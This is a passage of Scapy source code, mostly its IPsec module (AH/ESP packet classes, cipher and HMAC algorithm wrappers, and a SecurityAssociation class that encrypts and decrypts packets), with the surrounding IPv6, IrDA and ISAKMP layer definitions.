timeout=timeout, verbose=verbose, **kargs) a = TracerouteResult6(a.res) if verbose: a.display() return a,b ############################################################################# ############################################################################# ### Sockets ### ############################################################################# ############################################################################# class L3RawSocket6(L3RawSocket): def __init__(self, type = ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0): L3RawSocket.__init__(self, type, filter, iface, promisc) # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292) self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) def IPv6inIP(dst='203.178.135.36', src=None): _IPv6inIP.dst = dst _IPv6inIP.src = src if not conf.L3socket == _IPv6inIP: _IPv6inIP.cls = conf.L3socket else: del(conf.L3socket) return _IPv6inIP class _IPv6inIP(SuperSocket): dst = '127.0.0.1' src = None cls = None def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args): SuperSocket.__init__(self, family, type, proto) self.worker = self.cls(**args) def set(self, dst, src=None): _IPv6inIP.src = src _IPv6inIP.dst = dst def nonblock_recv(self): p = self.worker.nonblock_recv() return self._recv(p) def recv(self, x): p = self.worker.recv(x) return self._recv(p, x) def _recv(self, p, x=MTU): if p is None: return p elif isinstance(p, IP): # TODO: verify checksum if p.src == self.dst and p.proto == socket.IPPROTO_IPV6: if isinstance(p.payload, IPv6): return p.payload return p def send(self, x): return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6)/x) ############################################################################# ############################################################################# ### Layers binding ### ############################################################################# ############################################################################# conf.l3types.register(ETH_P_IPV6, IPv6) conf.l2types.register(31, IPv6) bind_layers(Ether, IPv6, type = 0x86dd ) bind_layers(CookedLinux, IPv6, proto = 0x86dd ) bind_layers(IPerror6, TCPerror, nh = socket.IPPROTO_TCP ) bind_layers(IPerror6, UDPerror, nh = socket.IPPROTO_UDP ) bind_layers(IPv6, TCP, nh = socket.IPPROTO_TCP ) bind_layers(IPv6, UDP, nh = socket.IPPROTO_UDP ) bind_layers(IP, IPv6, proto = socket.IPPROTO_IPV6 ) bind_layers(IPv6, IPv6, nh = socket.IPPROTO_IPV6 ) bind_layers(IPv6, IP, nh = socket.IPPROTO_IPIP ) scapy-0.23/scapy/layers/ipsec.py000066400000000000000000001114221320561231000166420ustar00rootroot00000000000000############################################################################# ## ipsec.py --- IPsec support for Scapy ## ## ## ## Copyright (C) 2014 6WIND ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ############################################################################# """ IPsec layer =========== Example of use: >>> sa = SecurityAssociation(ESP, spi=0xdeadbeef, crypt_algo='AES-CBC', ... crypt_key='sixteenbytes key') >>> p = IP(src='1.1.1.1', dst='2.2.2.2') >>> p /= TCP(sport=45012, dport=80) >>> p /= Raw(b'testdata') >>> p = IP(bytes(p)) >>> p >> >>> >>> e = sa.encrypt(p) >>> e > >>> >>> d = sa.decrypt(e) >>> d >> >>> >>> d == p True """ import os import socket import struct if not hasattr(socket, 'IPPROTO_AH'): socket.IPPROTO_AH = 51 if not hasattr(socket, 'IPPROTO_ESP'): socket.IPPROTO_ESP = 50 from fractions import gcd from scapy.data import IP_PROTOS from scapy.error import log_loading from scapy.fields import ByteEnumField, ByteField, StrField, XIntField, IntField, \ ShortField, PacketField from scapy.packet import Packet, bind_layers, Raw from scapy.layers.inet import IP, UDP from scapy.layers.inet6 import IPv6, IPv6ExtHdrHopByHop, IPv6ExtHdrDestOpt, \ IPv6ExtHdrRouting #------------------------------------------------------------------------------ class AH(Packet): """ Authentication Header See https://tools.ietf.org/rfc/rfc4302.txt """ name = 'AH' fields_desc = [ ByteEnumField('nh', None, IP_PROTOS), ByteField('payloadlen', None), ShortField('reserved', None), XIntField('spi', 0x0), IntField('seq', 0), StrField('icv', None), StrField('padding', None), ] overload_fields = { IP: {'proto': socket.IPPROTO_AH}, IPv6: {'nh': socket.IPPROTO_AH}, IPv6ExtHdrHopByHop: {'nh': socket.IPPROTO_AH}, IPv6ExtHdrDestOpt: {'nh': socket.IPPROTO_AH}, IPv6ExtHdrRouting: {'nh': socket.IPPROTO_AH}, } bind_layers(IP, AH, proto=socket.IPPROTO_AH) bind_layers(IPv6, AH, nh=socket.IPPROTO_AH) #------------------------------------------------------------------------------ class ESP(Packet): """ Encapsulated Security Payload See https://tools.ietf.org/rfc/rfc4303.txt """ name = 'ESP' fields_desc = [ XIntField('spi', 0x0), IntField('seq', 0), StrField('data', None), ] overload_fields = { IP: {'proto': socket.IPPROTO_ESP}, IPv6: {'nh': socket.IPPROTO_ESP}, IPv6ExtHdrHopByHop: {'nh': socket.IPPROTO_ESP}, IPv6ExtHdrDestOpt: {'nh': socket.IPPROTO_ESP}, IPv6ExtHdrRouting: {'nh': socket.IPPROTO_ESP}, } bind_layers(IP, ESP, proto=socket.IPPROTO_ESP) bind_layers(IPv6, ESP, nh=socket.IPPROTO_ESP) bind_layers(UDP, ESP, dport=4500) # NAT-Traversal encapsulation bind_layers(UDP, ESP, sport=4500) # NAT-Traversal encapsulation #------------------------------------------------------------------------------ class _ESPPlain(Packet): """ Internal class to represent unencrypted ESP packets. """ name = 'ESP' fields_desc = [ XIntField('spi', 0x0), IntField('seq', 0), StrField('iv', ''), PacketField('data', '', Raw), StrField('padding', ''), ByteField('padlen', 0), ByteEnumField('nh', 0, IP_PROTOS), StrField('icv', ''), ] def data_for_encryption(self): return bytes(self.data) + self.padding + chr(self.padlen).encode('ascii') + chr(self.nh).encode('ascii') #------------------------------------------------------------------------------ try: from cryptography.exceptions import InvalidTag from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.ciphers import ( Cipher, algorithms, modes, ) except ImportError: # no error if pycrypto is not available but encryption won't be supported log_loading.info("Can't import python cryptography lib. " "Disabled IPsec encryption/authentication.") algorithms = None Cipher = None modes = None #------------------------------------------------------------------------------ def _lcm(a, b): """ Least Common Multiple between 2 integers. """ if a == 0 or b == 0: return 0 else: return abs(a * b) // gcd(a, b) class CryptAlgo(object): """ IPsec encryption algorithm """ def __init__(self, name, cipher, mode, block_size=None, iv_size=None, key_size=None, icv_size=None, salt_size=None): """ @param name: the name of this encryption algorithm @param cipher: a Cipher module @param mode: the mode used with the cipher module @param block_size: the length a block for this algo. Defaults to the `block_size` of the cipher. @param iv_size: the length of the initialization vector of this algo. Defaults to the `block_size` of the cipher. @param key_size: an integer or list/tuple of integers. If specified, force the secret keys length to one of the values. Defaults to the `key_size` of the cipher. @param icv_size: the length of the Integrity Check Value of this algo. Used by Combined Mode Algorithms, e.g. GCM @param salt_size: the length of the salt to use as the IV prefix. Usually used by Counter modes e.g. CTR """ self.name = name self.cipher = cipher self.mode = mode self.icv_size = icv_size if self.mode is not None: self.is_aead = issubclass(self.mode, modes.ModeWithAuthenticationTag) else: self.is_aead = False if block_size is not None: self.block_size = block_size elif cipher is not None: self.block_size = cipher.block_size // 8 else: self.block_size = 1 if iv_size is None: self.iv_size = self.block_size else: self.iv_size = iv_size if key_size is not None: self.key_size = key_size elif cipher is not None: self.key_size = tuple(i // 8 for i in cipher.key_sizes) else: self.key_size = None if salt_size is None: self.salt_size = 0 else: self.salt_size = salt_size def check_key(self, key): """ Check that the key length is valid. @param key: a byte string """ if self.key_size and not (len(key) == self.key_size or len(key) in self.key_size): raise TypeError('invalid key size %s, must be %s' % (len(key), self.key_size)) def generate_iv(self): """ Generate a random initialization vector. """ # XXX: Handle counter modes with real counters? RFCs allow the use of # XXX: random bytes for counters, so it is not wrong to do it that way return os.urandom(self.iv_size - self.salt_size) def new_cipher(self, key, iv, digest=None): """ @param key: the secret key, a byte string @param iv: the initialization vector, a byte string. Used as the initial nonce in counter mode @param digest: also known as tag or icv. A byte string containing the digest of the encrypted data. Only use this during decryption! @return: an initialized cipher object for this algo """ if type(key) is str: key = key.encode('ascii') if self.is_aead and digest is not None: # With AEAD, the mode needs the digest during decryption. return Cipher( self.cipher(key), self.mode(iv, digest, len(digest)), default_backend(), ) else: return Cipher( self.cipher(key), self.mode(iv), default_backend(), ) def pad(self, esp): """ Add the correct amount of padding so that the data to encrypt is exactly a multiple of the algorithm's block size. Also, make sure that the total ESP packet length is a multiple of 4 bytes. @param esp: an unencrypted _ESPPlain packet @return: an unencrypted _ESPPlain packet with valid padding """ # 2 extra bytes for padlen and nh data_len = len(esp.data) + 2 # according to the RFC4303, section 2.4. Padding (for Encryption) # the size of the ESP payload must be a multiple of 32 bits align = _lcm(self.block_size, 4) # pad for block size esp.padlen = -data_len % align # padding must be an array of bytes starting from 1 to padlen esp.padding = '' for b in range(1, esp.padlen + 1): esp.padding += bytes([b]) # If the following test fails, it means that this algo does not comply # with the RFC payload_len = len(esp.iv) + len(esp.data) + len(esp.padding) + 2 if payload_len % 4 != 0: raise ValueError('The size of the ESP data is not aligned to 32 bits after padding.') return esp def encrypt(self, esp, key): """ Encrypt an ESP packet @param esp: an unencrypted _ESPPlain packet with valid padding @param key: the secret key used for encryption @return: a valid ESP packet encrypted with this algorithm """ data = esp.data_for_encryption() if self.cipher: cipher = self.new_cipher(key, esp.iv) encryptor = cipher.encryptor() if self.is_aead: aad = struct.pack('!LL', esp.spi, esp.seq) encryptor.authenticate_additional_data(aad) data = encryptor.update(data) + encryptor.finalize() data += encryptor.tag[:self.icv_size] else: data = encryptor.update(data) + encryptor.finalize() return ESP(spi=esp.spi, seq=esp.seq, data=esp.iv + data) def decrypt(self, esp, key, icv_size=None): """ Decrypt an ESP packet @param esp: an encrypted ESP packet @param key: the secret key used for encryption @param icv_size: the length of the icv used for integrity check @return: a valid ESP packet encrypted with this algorithm @raise IPSecIntegrityError: if the integrity check fails with an AEAD algorithm """ if icv_size is None: icv_size = self.icv_size if self.is_aead else 0 iv = esp.data[:self.iv_size] data = esp.data[self.iv_size:len(esp.data) - icv_size] icv = esp.data[len(esp.data) - icv_size:] if self.cipher: cipher = self.new_cipher(key, iv, icv) decryptor = cipher.decryptor() if self.is_aead: # Tag value check is done during the finalize method decryptor.authenticate_additional_data( struct.pack('!LL', esp.spi, esp.seq) ) try: data = decryptor.update(data) + decryptor.finalize() except InvalidTag as err: raise IPSecIntegrityError(err) # extract padlen and nh padlen = (data[-2]) nh = data[-1] # then use padlen to determine data and padding data = data[:len(data) - padlen - 2] padding = data[len(data) - padlen - 2: len(data) - 2] return _ESPPlain(spi=esp.spi, seq=esp.seq, iv=iv, data=data, padding=padding, padlen=padlen, nh=nh, icv=icv) #------------------------------------------------------------------------------ # The names of the encryption algorithms are the same than in scapy.contrib.ikev2 # see http://www.iana.org/assignments/ikev2-parameters/ikev2-parameters.xhtml CRYPT_ALGOS = { 'NULL': CryptAlgo('NULL', cipher=None, mode=None, iv_size=0), } if algorithms: CRYPT_ALGOS['AES-CBC'] = CryptAlgo('AES-CBC', cipher=algorithms.AES, mode=modes.CBC) CRYPT_ALGOS['AES-CTR'] = CryptAlgo('AES-CTR', cipher=algorithms.AES, mode=modes.CTR, salt_size=4) CRYPT_ALGOS['AES-GCM'] = CryptAlgo('AES-GCM', cipher=algorithms.AES, mode=modes.GCM, salt_size=4, icv_size=16) if hasattr(modes, 'CCM'): CRYPT_ALGOS['AES-CCM'] = CryptAlgo('AES-CCM', cipher=algorithms.AES, mode=modes.CCM, icv_size=16) # XXX: Flagged as weak by 'cryptography'. Kept for backward compatibility CRYPT_ALGOS['Blowfish'] = CryptAlgo('Blowfish', cipher=algorithms.Blowfish, mode=modes.CBC) # XXX: RFC7321 states that DES *MUST NOT* be implemented. # XXX: Keep for backward compatibility? # Using a TripleDES cipher algorithm for DES is done by using the same 64 # bits key 3 times (done by cryptography when given a 64 bits key) CRYPT_ALGOS['DES'] = CryptAlgo('DES', cipher=algorithms.TripleDES, mode=modes.CBC, key_size=(8,)) CRYPT_ALGOS['3DES'] = CryptAlgo('3DES', cipher=algorithms.TripleDES, mode=modes.CBC) CRYPT_ALGOS['CAST'] = CryptAlgo('CAST', cipher=algorithms.CAST5, mode=modes.CBC) #------------------------------------------------------------------------------ try: from cryptography.hazmat.primitives.hmac import HMAC from cryptography.hazmat.primitives.cmac import CMAC from cryptography.hazmat.primitives import hashes except ImportError: # no error if cryptography is not available but authentication won't be supported HMAC = None CMAC = None hashes = None #------------------------------------------------------------------------------ class IPSecIntegrityError(Exception): """ Error risen when the integrity check fails. """ pass class AuthAlgo(object): """ IPsec integrity algorithm """ def __init__(self, name, mac, digestmod, icv_size, key_size=None): """ @param name: the name of this integrity algorithm @param mac: a Message Authentication Code module @param digestmod: a Hash or Cipher module @param icv_size: the length of the integrity check value of this algo @param key_size: an integer or list/tuple of integers. If specified, force the secret keys length to one of the values. Defaults to the `key_size` of the cipher. """ self.name = name self.mac = mac self.digestmod = digestmod self.icv_size = icv_size self.key_size = key_size def check_key(self, key): """ Check that the key length is valid. @param key: a byte string """ if self.key_size and len(key) not in self.key_size: raise TypeError('invalid key size %s, must be one of %s' % (len(key), self.key_size)) def new_mac(self, key): """ @param key: a byte string @return: an initialized mac object for this algo """ if type(key) is str: key = key.encode('ascii') if self.mac is CMAC: return self.mac(self.digestmod(key), default_backend()) else: return self.mac(key, self.digestmod(), default_backend()) def sign(self, pkt, key): """ Sign an IPsec (ESP or AH) packet with this algo. @param pkt: a packet that contains a valid encrypted ESP or AH layer @param key: the authentication key, a byte string @return: the signed packet """ if not self.mac: return pkt mac = self.new_mac(key) if pkt.haslayer(ESP): mac.update(bytes(pkt[ESP])) pkt[ESP].data += mac.finalize()[:self.icv_size] elif pkt.haslayer(AH): clone = zero_mutable_fields(pkt.copy(), sending=True) mac.update(bytes(clone)) pkt[AH].icv = mac.finalize()[:self.icv_size] return pkt def verify(self, pkt, key): """ Check that the integrity check value (icv) of a packet is valid. @param pkt: a packet that contains a valid encrypted ESP or AH layer @param key: the authentication key, a byte string @raise IPSecIntegrityError: if the integrity check fails """ if not self.mac or self.icv_size == 0: return mac = self.new_mac(key) pkt_icv = 'not found' computed_icv = 'not computed' if isinstance(pkt, ESP): pkt_icv = pkt.data[len(pkt.data) - self.icv_size:] clone = pkt.copy() clone.data = clone.data[:len(clone.data) - self.icv_size] elif pkt.haslayer(AH): pkt_icv = pkt[AH].icv[:self.icv_size] clone = zero_mutable_fields(pkt.copy(), sending=False) mac.update(bytes(clone)) computed_icv = mac.finalize()[:self.icv_size] # XXX: Cannot use mac.verify because the ICV can be truncated if pkt_icv != computed_icv: raise IPSecIntegrityError('pkt_icv=%r, computed_icv=%r' % (pkt_icv, computed_icv)) #------------------------------------------------------------------------------ # The names of the integrity algorithms are the same than in scapy.contrib.ikev2 # see http://www.iana.org/assignments/ikev2-parameters/ikev2-parameters.xhtml AUTH_ALGOS = { 'NULL': AuthAlgo('NULL', mac=None, digestmod=None, icv_size=0), } if HMAC and hashes: # XXX: NIST has deprecated SHA1 but is required by RFC7321 AUTH_ALGOS['HMAC-SHA1-96'] = AuthAlgo('HMAC-SHA1-96', mac=HMAC, digestmod=hashes.SHA1, icv_size=12) AUTH_ALGOS['SHA2-256-128'] = AuthAlgo('SHA2-256-128', mac=HMAC, digestmod=hashes.SHA256, icv_size=16) AUTH_ALGOS['SHA2-384-192'] = AuthAlgo('SHA2-384-192', mac=HMAC, digestmod=hashes.SHA384, icv_size=24) AUTH_ALGOS['SHA2-512-256'] = AuthAlgo('SHA2-512-256', mac=HMAC, digestmod=hashes.SHA512, icv_size=32) # XXX:Flagged as deprecated by 'cryptography'. Kept for backward compat AUTH_ALGOS['HMAC-MD5-96'] = AuthAlgo('HMAC-MD5-96', mac=HMAC, digestmod=hashes.MD5, icv_size=12) if CMAC and algorithms: AUTH_ALGOS['AES-CMAC-96'] = AuthAlgo('AES-CMAC-96', mac=CMAC, digestmod=algorithms.AES, icv_size=12, key_size=(16,)) #------------------------------------------------------------------------------ #------------------------------------------------------------------------------ def split_for_transport(orig_pkt, transport_proto): """ Split an IP(v6) packet in the correct location to insert an ESP or AH header. @param orig_pkt: the packet to split. Must be an IP or IPv6 packet @param transport_proto: the IPsec protocol number that will be inserted at the split position. @return: a tuple (header, nh, payload) where nh is the protocol number of payload. """ header = orig_pkt.copy() next_hdr = header.payload nh = None if header.version == 4: nh = header.proto header.proto = transport_proto header.remove_payload() del header.chksum del header.len return header, nh, next_hdr else: found_rt_hdr = False prev = header # Since the RFC 4302 is vague about where the ESP/AH headers should be # inserted in IPv6, I chose to follow the linux implementation. while isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrRouting, IPv6ExtHdrDestOpt)): if isinstance(next_hdr, IPv6ExtHdrHopByHop): pass if isinstance(next_hdr, IPv6ExtHdrRouting): found_rt_hdr = True elif isinstance(next_hdr, IPv6ExtHdrDestOpt) and found_rt_hdr: break prev = next_hdr next_hdr = next_hdr.payload nh = prev.nh prev.nh = transport_proto prev.remove_payload() del header.plen return header, nh, next_hdr #------------------------------------------------------------------------------ # see RFC 4302 - Appendix A. Mutability of IP Options/Extension Headers IMMUTABLE_IPV4_OPTIONS = ( 0, # End Of List 1, # No OPeration 2, # Security 5, # Extended Security 6, # Commercial Security 20, # Router Alert 21, # Sender Directed Multi-Destination Delivery ) def zero_mutable_fields(pkt, sending=False): """ When using AH, all "mutable" fields must be "zeroed" before calculating the ICV. See RFC 4302, Section 3.3.3.1. Handling Mutable Fields. @param pkt: an IP(v6) packet containing an AH layer. NOTE: The packet will be modified @param sending: if true, ipv6 routing headers will not be reordered """ if pkt.haslayer(AH): pkt[AH].icv = chr(0) * len(pkt[AH].icv) else: raise TypeError('no AH layer found') if pkt.version == 4: # the tos field has been replaced by DSCP and ECN # Routers may rewrite the DS field as needed to provide a # desired local or end-to-end service pkt.tos = 0 # an intermediate router might set the DF bit, even if the source # did not select it. pkt.flags = 0 # changed en route as a normal course of processing by routers pkt.ttl = 0 # will change if any of these other fields change pkt.chksum = 0 immutable_opts = [] for opt in pkt.options: if opt.option in IMMUTABLE_IPV4_OPTIONS: immutable_opts.append(opt) else: immutable_opts.append(Raw(chr(0) * len(opt))) pkt.options = immutable_opts else: # holds DSCP and ECN pkt.tc = 0 # The flow label described in AHv1 was mutable, and in RFC 2460 [DH98] # was potentially mutable. To retain compatibility with existing AH # implementations, the flow label is not included in the ICV in AHv2. pkt.fl = 0 # same as ttl pkt.hlim = 0 next_hdr = pkt.payload while isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrRouting, IPv6ExtHdrDestOpt)): if isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrDestOpt)): for opt in next_hdr.options: if opt.otype & 0x20: # option data can change en-route and must be zeroed opt.optdata = chr(0) * opt.optlen elif isinstance(next_hdr, IPv6ExtHdrRouting) and sending: # The sender must order the field so that it appears as it # will at the receiver, prior to performing the ICV computation. next_hdr.segleft = 0 if next_hdr.addresses: final = next_hdr.addresses.pop() next_hdr.addresses.insert(0, pkt.dst) pkt.dst = final else: break next_hdr = next_hdr.payload return pkt #------------------------------------------------------------------------------ class SecurityAssociation(object): """ This class is responsible of "encryption" and "decryption" of IPsec packets. """ SUPPORTED_PROTOS = (IP, IPv6) def __init__(self, proto, spi, seq_num=1, crypt_algo=None, crypt_key=None, auth_algo=None, auth_key=None, tunnel_header=None, nat_t_header=None): """ @param proto: the IPsec proto to use (ESP or AH) @param spi: the Security Parameters Index of this SA @param seq_num: the initial value for the sequence number on encrypted packets @param crypt_algo: the encryption algorithm name (only used with ESP) @param crypt_key: the encryption key (only used with ESP) @param auth_algo: the integrity algorithm name @param auth_key: the integrity key @param tunnel_header: an instance of a IP(v6) header that will be used to encapsulate the encrypted packets. @param nat_t_header: an instance of a UDP header that will be used for NAT-Traversal. """ if proto not in (ESP, AH, ESP.name, AH.name): raise ValueError("proto must be either ESP or AH") if isinstance(proto, (str, bytes)): self.proto = eval(proto) else: self.proto = proto self.spi = spi self.seq_num = seq_num if crypt_algo: if crypt_algo not in CRYPT_ALGOS: raise TypeError('unsupported encryption algo %r, try %r' % (crypt_algo, CRYPT_ALGOS.keys())) self.crypt_algo = CRYPT_ALGOS[crypt_algo] if crypt_key: salt_size = self.crypt_algo.salt_size self.crypt_key = (crypt_key[:len(crypt_key) - salt_size]).encode('ascii') self.crypt_salt = (crypt_key[len(crypt_key) - salt_size:]).encode('ascii') else: self.crypt_key = None self.crypt_salt = None else: self.crypt_algo = CRYPT_ALGOS['NULL'] self.crypt_key = None if auth_algo: if auth_algo not in AUTH_ALGOS: raise TypeError('unsupported integrity algo %r, try %r' % (auth_algo, AUTH_ALGOS.keys())) self.auth_algo = AUTH_ALGOS[auth_algo] self.auth_key = auth_key else: self.auth_algo = AUTH_ALGOS['NULL'] self.auth_key = None if tunnel_header and not isinstance(tunnel_header, (IP, IPv6)): raise TypeError('tunnel_header must be %s or %s' % (IP.name, IPv6.name)) self.tunnel_header = tunnel_header if nat_t_header: if proto is not ESP: raise TypeError('nat_t_header is only allowed with ESP') if not isinstance(nat_t_header, UDP): raise TypeError('nat_t_header must be %s' % UDP.name) self.nat_t_header = nat_t_header def check_spi(self, pkt): if pkt.spi != self.spi: raise TypeError('packet spi=0x%x does not match the SA spi=0x%x' % (pkt.spi, self.spi)) def _encrypt_esp(self, pkt, seq_num=None, iv=None): if iv is None: iv = self.crypt_algo.generate_iv() if self.crypt_salt: iv = self.crypt_salt + iv else: if len(iv) != self.crypt_algo.iv_size: raise TypeError('iv length must be %s' % self.crypt_algo.iv_size) esp = _ESPPlain(spi=self.spi, seq=seq_num or self.seq_num, iv=iv) if self.tunnel_header: tunnel = self.tunnel_header.copy() if tunnel.version == 4: del tunnel.proto del tunnel.len del tunnel.chksum else: del tunnel.nh del tunnel.plen pkt = tunnel.__class__(bytes(tunnel / pkt)) ip_header, nh, payload = split_for_transport(pkt, socket.IPPROTO_ESP) esp.data = payload esp.nh = nh esp = self.crypt_algo.pad(esp) esp = self.crypt_algo.encrypt(esp, self.crypt_key) self.auth_algo.sign(esp, self.auth_key) if self.nat_t_header: nat_t_header = self.nat_t_header.copy() nat_t_header.chksum = 0 del nat_t_header.len if ip_header.version == 4: del ip_header.proto else: del ip_header.nh ip_header /= nat_t_header if ip_header.version == 4: ip_header.len = len(ip_header) + len(esp) del ip_header.chksum ip_header = ip_header.__class__(bytes(ip_header)) else: ip_header.plen = len(ip_header.payload) + len(esp) # sequence number must always change, unless specified by the user if seq_num is None: self.seq_num += 1 return ip_header / esp def _encrypt_ah(self, pkt, seq_num=None): ah = AH(spi=self.spi, seq=seq_num or self.seq_num, icv=chr(0) * self.auth_algo.icv_size) if self.tunnel_header: tunnel = self.tunnel_header.copy() if tunnel.version == 4: del tunnel.proto del tunnel.len del tunnel.chksum else: del tunnel.nh del tunnel.plen pkt = tunnel.__class__(bytes(tunnel / pkt)) ip_header, nh, payload = split_for_transport(pkt, socket.IPPROTO_AH) ah.nh = nh if ip_header.version == 6 and len(ah) % 8 != 0: # For IPv6, the total length of the header must be a multiple of # 8-octet units. ah.padding = chr(0) * (-len(ah) % 8) elif len(ah) % 4 != 0: # For IPv4, the total length of the header must be a multiple of # 4-octet units. ah.padding = chr(0) * (-len(ah) % 4) # RFC 4302 - Section 2.2. Payload Length # This 8-bit field specifies the length of AH in 32-bit words (4-byte # units), minus "2". ah.payloadlen = len(ah) // 4 - 2 if ip_header.version == 4: ip_header.len = len(ip_header) + len(ah) + len(payload) del ip_header.chksum ip_header = ip_header.__class__(bytes(ip_header)) else: ip_header.plen = len(ip_header.payload) + len(ah) + len(payload) signed_pkt = self.auth_algo.sign(ip_header / ah / payload, self.auth_key) # sequence number must always change, unless specified by the user if seq_num is None: self.seq_num += 1 return signed_pkt def encrypt(self, pkt, seq_num=None, iv=None): """ Encrypt (and encapsulate) an IP(v6) packet with ESP or AH according to this SecurityAssociation. @param pkt: the packet to encrypt @param seq_num: if specified, use this sequence number instead of the generated one @param iv: if specified, use this initialization vector for encryption instead of a random one. @return: the encrypted/encapsulated packet """ if not isinstance(pkt, self.SUPPORTED_PROTOS): raise TypeError('cannot encrypt %s, supported protos are %s' % (pkt.__class__, self.SUPPORTED_PROTOS)) if self.proto is ESP: return self._encrypt_esp(pkt, seq_num=seq_num, iv=iv) else: return self._encrypt_ah(pkt, seq_num=seq_num) def _decrypt_esp(self, pkt, verify=True): encrypted = pkt[ESP] if verify: self.check_spi(pkt) self.auth_algo.verify(encrypted, self.auth_key) esp = self.crypt_algo.decrypt(encrypted, self.crypt_key, self.crypt_algo.icv_size or self.auth_algo.icv_size) if self.tunnel_header: # drop the tunnel header and return the payload untouched pkt.remove_payload() if pkt.version == 4: pkt.proto = esp.nh else: pkt.nh = esp.nh cls = pkt.guess_payload_class(esp.data) return cls(esp.data) else: ip_header = pkt if ip_header.version == 4: ip_header.proto = esp.nh del ip_header.chksum ip_header.remove_payload() ip_header.len = len(ip_header) + len(esp.data) # recompute checksum ip_header = ip_header.__class__(bytes(ip_header)) else: encrypted.underlayer.nh = esp.nh encrypted.underlayer.remove_payload() ip_header.plen = len(ip_header.payload) + len(esp.data) cls = ip_header.guess_payload_class(esp.data) # reassemble the ip_header with the ESP payload return ip_header / cls(esp.data) def _decrypt_ah(self, pkt, verify=True): if verify: self.check_spi(pkt) self.auth_algo.verify(pkt, self.auth_key) ah = pkt[AH] payload = ah.payload payload.remove_underlayer(None) # useless argument... if self.tunnel_header: return payload else: ip_header = pkt if ip_header.version == 4: ip_header.proto = ah.nh del ip_header.chksum ip_header.remove_payload() ip_header.len = len(ip_header) + len(payload) # recompute checksum ip_header = ip_header.__class__(bytes(ip_header)) else: ah.underlayer.nh = ah.nh ah.underlayer.remove_payload() ip_header.plen = len(ip_header.payload) + len(payload) # reassemble the ip_header with the AH payload return ip_header / payload def decrypt(self, pkt, verify=True): """ Decrypt (and decapsulate) an IP(v6) packet containing ESP or AH. @param pkt: the packet to decrypt @param verify: if False, do not perform the integrity check @return: the decrypted/decapsulated packet @raise IPSecIntegrityError: if the integrity check fails """ if not isinstance(pkt, self.SUPPORTED_PROTOS): raise TypeError('cannot decrypt %s, supported protos are %s' % (pkt.__class__, self.SUPPORTED_PROTOS)) if self.proto is ESP and pkt.haslayer(ESP): return self._decrypt_esp(pkt, verify=verify) elif self.proto is AH and pkt.haslayer(AH): return self._decrypt_ah(pkt, verify=verify) else: raise TypeError('%s has no %s layer' % (pkt, self.proto.name)) scapy-0.23/scapy/layers/ir.py000066400000000000000000000026301320561231000161510ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ IrDA infrared data communication. """ from scapy.packet import * from scapy.fields import * from scapy.layers.l2 import CookedLinux # IR class IrLAPHead(Packet): name = "IrDA Link Access Protocol Header" fields_desc = [ XBitField("Address", 0x7f, 7), BitEnumField("Type", 1, 1, {"Response":0, "Command":1})] class IrLAPCommand(Packet): name = "IrDA Link Access Protocol Command" fields_desc = [ XByteField("Control", 0), XByteField("Format identifier", 0), XIntField("Source address", 0), XIntField("Destination address", 0xffffffff), XByteField("Discovery flags", 0x1), ByteEnumField("Slot number", 255, {"final":255}), XByteField("Version", 0)] class IrLMP(Packet): name = "IrDA Link Management Protocol" fields_desc = [ XShortField("Service hints", 0), XByteField("Character set", 0), StrField("Device name", "") ] bind_layers( CookedLinux, IrLAPHead, proto=23) bind_layers( IrLAPHead, IrLAPCommand, Type=1) bind_layers( IrLAPCommand, IrLMP, ) scapy-0.23/scapy/layers/isakmp.py000066400000000000000000000342621320561231000170310ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ ISAKMP (Internet Security Association and Key Management Protocol). """ import struct from scapy.packet import * from scapy.fields import * from scapy.ansmachine import * from scapy.layers.inet import IP,UDP from scapy.sendrecv import sr # see http://www.iana.org/assignments/ipsec-registry for details ISAKMPAttributeTypes= { "Encryption": (1, { "DES-CBC" : 1, "IDEA-CBC" : 2, "Blowfish-CBC" : 3, "RC5-R16-B64-CBC" : 4, "3DES-CBC" : 5, "CAST-CBC" : 6, "AES-CBC" : 7, "CAMELLIA-CBC" : 8, }, 0), "Hash": (2, { "MD5": 1, "SHA": 2, "Tiger": 3, "SHA2-256": 4, "SHA2-384": 5, "SHA2-512": 6,}, 0), "Authentication":(3, { "PSK": 1, "DSS": 2, "RSA Sig": 3, "RSA Encryption": 4, "RSA Encryption Revised": 5, "ElGamal Encryption": 6, "ElGamal Encryption Revised": 7, "ECDSA Sig": 8, "HybridInitRSA": 64221, "HybridRespRSA": 64222, "HybridInitDSS": 64223, "HybridRespDSS": 64224, "XAUTHInitPreShared": 65001, "XAUTHRespPreShared": 65002, "XAUTHInitDSS": 65003, "XAUTHRespDSS": 65004, "XAUTHInitRSA": 65005, "XAUTHRespRSA": 65006, "XAUTHInitRSAEncryption": 65007, "XAUTHRespRSAEncryption": 65008, "XAUTHInitRSARevisedEncryption": 65009, "XAUTHRespRSARevisedEncryptio": 65010, }, 0), "GroupDesc": (4, { "768MODPgr" : 1, "1024MODPgr" : 2, "EC2Ngr155" : 3, "EC2Ngr185" : 4, "1536MODPgr" : 5, "2048MODPgr" : 14, "3072MODPgr" : 15, "4096MODPgr" : 16, "6144MODPgr" : 17, "8192MODPgr" : 18, }, 0), "GroupType": (5, {"MODP": 1, "ECP": 2, "EC2N": 3}, 0), "GroupPrime": (6, {}, 1), "GroupGenerator1":(7, {}, 1), 